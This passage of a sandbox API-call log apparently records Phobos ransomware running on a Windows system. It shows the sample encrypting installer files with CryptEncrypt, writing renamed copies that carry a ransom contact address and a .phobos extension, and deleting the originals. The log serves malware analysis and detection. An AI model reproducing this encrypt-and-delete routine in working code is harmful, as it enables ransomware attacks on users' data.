"c:\\588bce7c90097ed212\\1033\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0047.262] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0047.262] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0047.262] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1033\\eula.rtf.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\588bce7c90097ed212\\1033\\eula.rtf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0047.263] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6f8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f754 | out: phKey=0x2d1f754*=0x10d0f0) returned 1 [0047.263] CryptSetKeyParam (hKey=0x10d0f0, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0047.263] ReadFile (in: hFile=0x310, lpBuffer=0x30ae020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d1f77c, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesRead=0x2d1f77c*=0xc74, lpOverlapped=0x0) returned 1 [0047.264] CryptEncrypt (in: hKey=0x10d0f0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0xc80, dwBufLen=0xc80 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0xc80) returned 1 [0047.264] WriteFile (in: hFile=0x318, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0xc80, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0xc80, lpOverlapped=0x0) returned 1 [0047.266] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6ec, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f758 | out: phKey=0x2d1f758*=0x10ccb0) returned 1 [0047.266] CryptSetKeyParam (hKey=0x10ccb0, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0047.266] CryptEncrypt (in: hKey=0x10ccb0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x40, dwBufLen=0x40 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x40) returned 1 [0047.266] CryptDestroyKey (hKey=0x10ccb0) returned 1 [0047.266] WriteFile (in: hFile=0x318, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0xf2, lpOverlapped=0x0) returned 1 [0047.266] CryptDestroyKey (hKey=0x10d0f0) returned 1 [0047.266] CloseHandle (hObject=0x310) returned 1 [0047.266] CloseHandle (hObject=0x318) returned 1 [0047.267] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1033\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1033\\eula.rtf")) returned 1 [0047.268] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2d1f800 | out: pbBuffer=0x2d1f800) returned 1 [0047.268] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1033\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1033\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0047.268] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x2d1f7a0 | out: lpFileSize=0x2d1f7a0*=77232) returned 1 [0047.269] CloseHandle (hObject=0x318) returned 1 [0047.269] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1033\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1033\\localizeddata.xml")) returned 0x80 [0047.269] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1033\\LocalizedData.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\588bce7c90097ed212\\1033\\localizeddata.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0047.269] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1033\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1033\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0047.269] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0047.269] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0047.269] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1033\\LocalizedData.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\588bce7c90097ed212\\1033\\localizeddata.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0047.269] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6f8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f754 | out: phKey=0x2d1f754*=0x10cfb0) returned 1 [0047.269] CryptSetKeyParam (hKey=0x10cfb0, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0047.269] ReadFile (in: hFile=0x318, lpBuffer=0x30ae020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d1f77c, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesRead=0x2d1f77c*=0x12db0, lpOverlapped=0x0) returned 1 [0047.271] CryptEncrypt (in: hKey=0x10cfb0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x12dc0, dwBufLen=0x12dc0 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x12dc0) returned 1 [0047.271] WriteFile (in: hFile=0x310, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0x12dc0, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0x12dc0, lpOverlapped=0x0) returned 1 [0047.275] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6ec, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f758 | out: phKey=0x2d1f758*=0x10cc70) returned 1 [0047.275] CryptSetKeyParam (hKey=0x10cc70, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0047.275] CryptEncrypt (in: hKey=0x10cc70, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x50, dwBufLen=0x50 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x50) returned 1 [0047.275] CryptDestroyKey (hKey=0x10cc70) returned 1 [0047.275] WriteFile (in: hFile=0x310, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0x102, lpOverlapped=0x0) returned 1 [0047.276] CryptDestroyKey (hKey=0x10cfb0) returned 1 [0047.276] CloseHandle (hObject=0x318) returned 1 [0047.276] CloseHandle (hObject=0x310) returned 1 [0047.278] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1033\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1033\\localizeddata.xml")) returned 1 [0047.280] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2d1f800 | out: pbBuffer=0x2d1f800) returned 1 [0047.280] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1035\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1035\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0047.280] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x2d1f7a0 | out: lpFileSize=0x2d1f7a0*=3702) returned 1 [0047.280] CloseHandle (hObject=0x310) returned 1 [0047.280] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1035\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1035\\eula.rtf")) returned 0x80 [0047.280] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1035\\eula.rtf.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\588bce7c90097ed212\\1035\\eula.rtf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0047.280] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1035\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1035\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0047.280] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0047.280] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0047.280] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1035\\eula.rtf.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\588bce7c90097ed212\\1035\\eula.rtf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0047.281] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6f8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f754 | out: phKey=0x2d1f754*=0x10cfb0) returned 1 [0047.281] CryptSetKeyParam (hKey=0x10cfb0, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0047.281] ReadFile (in: hFile=0x310, lpBuffer=0x30ae020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d1f77c, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesRead=0x2d1f77c*=0xe76, lpOverlapped=0x0) returned 1 [0047.457] CryptEncrypt (in: hKey=0x10cfb0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0xe80, dwBufLen=0xe80 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0xe80) returned 1 [0047.457] WriteFile (in: hFile=0x318, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0xe80, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0xe80, lpOverlapped=0x0) returned 1 [0047.458] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6ec, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f758 | out: phKey=0x2d1f758*=0x10cff0) returned 1 [0047.458] CryptSetKeyParam (hKey=0x10cff0, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0047.458] CryptEncrypt (in: hKey=0x10cff0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x40, dwBufLen=0x40 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x40) returned 1 [0047.458] CryptDestroyKey (hKey=0x10cff0) returned 1 [0047.458] WriteFile (in: hFile=0x318, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0xf2, lpOverlapped=0x0) returned 1 [0047.458] CryptDestroyKey (hKey=0x10cfb0) returned 1 [0047.458] CloseHandle (hObject=0x310) returned 1 [0047.459] CloseHandle (hObject=0x318) returned 1 [0047.459] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1035\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1035\\eula.rtf")) returned 1 [0047.460] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2d1f800 | out: pbBuffer=0x2d1f800) returned 1 [0047.460] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1038\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1038\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0047.460] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x2d1f7a0 | out: lpFileSize=0x2d1f7a0*=4254) returned 1 [0047.461] CloseHandle (hObject=0x318) returned 1 [0047.461] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1038\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1038\\eula.rtf")) returned 0x80 [0047.461] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1038\\eula.rtf.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\588bce7c90097ed212\\1038\\eula.rtf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0047.461] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1038\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1038\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0047.461] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0047.461] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0047.461] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1038\\eula.rtf.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\588bce7c90097ed212\\1038\\eula.rtf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0047.461] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6f8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f754 | out: phKey=0x2d1f754*=0x10d1f0) returned 1 [0047.461] CryptSetKeyParam (hKey=0x10d1f0, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0047.461] ReadFile (in: hFile=0x318, lpBuffer=0x30ae020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d1f77c, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesRead=0x2d1f77c*=0x109e, lpOverlapped=0x0) returned 1 [0047.463] CryptEncrypt (in: hKey=0x10d1f0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x10a0, dwBufLen=0x10a0 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x10a0) returned 1 [0047.463] WriteFile (in: hFile=0x310, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0x10a0, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0x10a0, lpOverlapped=0x0) returned 1 [0047.464] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6ec, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f758 | out: phKey=0x2d1f758*=0x10ccf0) returned 1 [0047.464] CryptSetKeyParam (hKey=0x10ccf0, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0047.464] CryptEncrypt (in: hKey=0x10ccf0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x40, dwBufLen=0x40 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x40) returned 1 [0047.464] CryptDestroyKey (hKey=0x10ccf0) returned 1 [0047.464] WriteFile (in: hFile=0x310, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0xf2, lpOverlapped=0x0) returned 1 [0047.464] CryptDestroyKey (hKey=0x10d1f0) returned 1 [0047.464] CloseHandle (hObject=0x318) returned 1 [0047.464] CloseHandle (hObject=0x310) returned 1 [0047.465] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1038\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1038\\eula.rtf")) returned 1 [0047.466] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2d1f800 | out: pbBuffer=0x2d1f800) returned 1 [0047.466] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1038\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1038\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0047.466] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x2d1f7a0 | out: lpFileSize=0x2d1f7a0*=86442) returned 1 [0047.466] CloseHandle (hObject=0x310) returned 1 [0047.466] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1038\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1038\\localizeddata.xml")) returned 0x80 [0047.466] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1038\\LocalizedData.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\588bce7c90097ed212\\1038\\localizeddata.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0047.466] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1038\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1038\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0047.467] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0047.467] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0047.467] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1038\\LocalizedData.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\588bce7c90097ed212\\1038\\localizeddata.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0047.467] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6f8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f754 | out: phKey=0x2d1f754*=0x10cfb0) returned 1 [0047.467] CryptSetKeyParam (hKey=0x10cfb0, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0047.467] ReadFile (in: hFile=0x310, lpBuffer=0x30ae020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d1f77c, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesRead=0x2d1f77c*=0x151aa, lpOverlapped=0x0) returned 1 [0047.469] CryptEncrypt (in: hKey=0x10cfb0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x151b0, dwBufLen=0x151b0 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x151b0) returned 1 [0047.469] WriteFile (in: hFile=0x318, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0x151b0, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0x151b0, lpOverlapped=0x0) returned 1 [0047.471] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6ec, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f758 | out: phKey=0x2d1f758*=0x10ccf0) returned 1 [0047.471] CryptSetKeyParam (hKey=0x10ccf0, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0047.472] CryptEncrypt (in: hKey=0x10ccf0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x50, dwBufLen=0x50 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x50) returned 1 [0047.472] CryptDestroyKey (hKey=0x10ccf0) returned 1 [0047.472] WriteFile (in: hFile=0x318, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0x102, lpOverlapped=0x0) returned 1 [0047.472] CryptDestroyKey (hKey=0x10cfb0) returned 1 [0047.472] CloseHandle (hObject=0x310) returned 1 [0047.472] CloseHandle (hObject=0x318) returned 1 [0047.474] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1038\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1038\\localizeddata.xml")) returned 1 [0047.475] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2d1f800 | out: pbBuffer=0x2d1f800) returned 1 [0047.475] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1040\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1040\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0047.476] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x2d1f7a0 | out: lpFileSize=0x2d1f7a0*=3643) returned 1 [0047.476] CloseHandle (hObject=0x318) returned 1 [0047.476] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1040\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1040\\eula.rtf")) returned 0x80 [0047.476] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1040\\eula.rtf.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\588bce7c90097ed212\\1040\\eula.rtf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0047.476] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1040\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1040\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0047.477] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0047.477] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0047.477] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1040\\eula.rtf.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\588bce7c90097ed212\\1040\\eula.rtf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0047.477] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6f8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f754 | out: phKey=0x2d1f754*=0x10ce70) returned 1 [0047.477] CryptSetKeyParam (hKey=0x10ce70, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0047.477] ReadFile (in: hFile=0x318, lpBuffer=0x30ae020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d1f77c, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesRead=0x2d1f77c*=0xe3b, lpOverlapped=0x0) returned 1 [0047.478] CryptEncrypt (in: hKey=0x10ce70, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0xe40, dwBufLen=0xe40 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0xe40) returned 1 [0047.478] WriteFile (in: hFile=0x310, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0xe40, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0xe40, lpOverlapped=0x0) returned 1 [0047.480] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6ec, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f758 | out: phKey=0x2d1f758*=0x10cf70) returned 1 [0047.480] CryptSetKeyParam (hKey=0x10cf70, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0047.480] CryptEncrypt (in: hKey=0x10cf70, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x40, dwBufLen=0x40 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x40) returned 1 [0047.480] CryptDestroyKey (hKey=0x10cf70) returned 1 [0047.480] WriteFile (in: hFile=0x310, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0xf2, lpOverlapped=0x0) returned 1 [0047.480] CryptDestroyKey (hKey=0x10ce70) returned 1 [0047.480] CloseHandle (hObject=0x318) returned 1 [0047.480] CloseHandle (hObject=0x310) returned 1 [0047.480] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1040\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1040\\eula.rtf")) returned 1 [0047.482] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2d1f800 | out: pbBuffer=0x2d1f800) returned 1 [0047.482] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1040\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1040\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0047.482] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x2d1f7a0 | out: lpFileSize=0x2d1f7a0*=80060) returned 1 [0047.482] CloseHandle (hObject=0x310) returned 1 [0047.482] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1040\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1040\\localizeddata.xml")) returned 0x80 [0047.482] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1040\\LocalizedData.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: 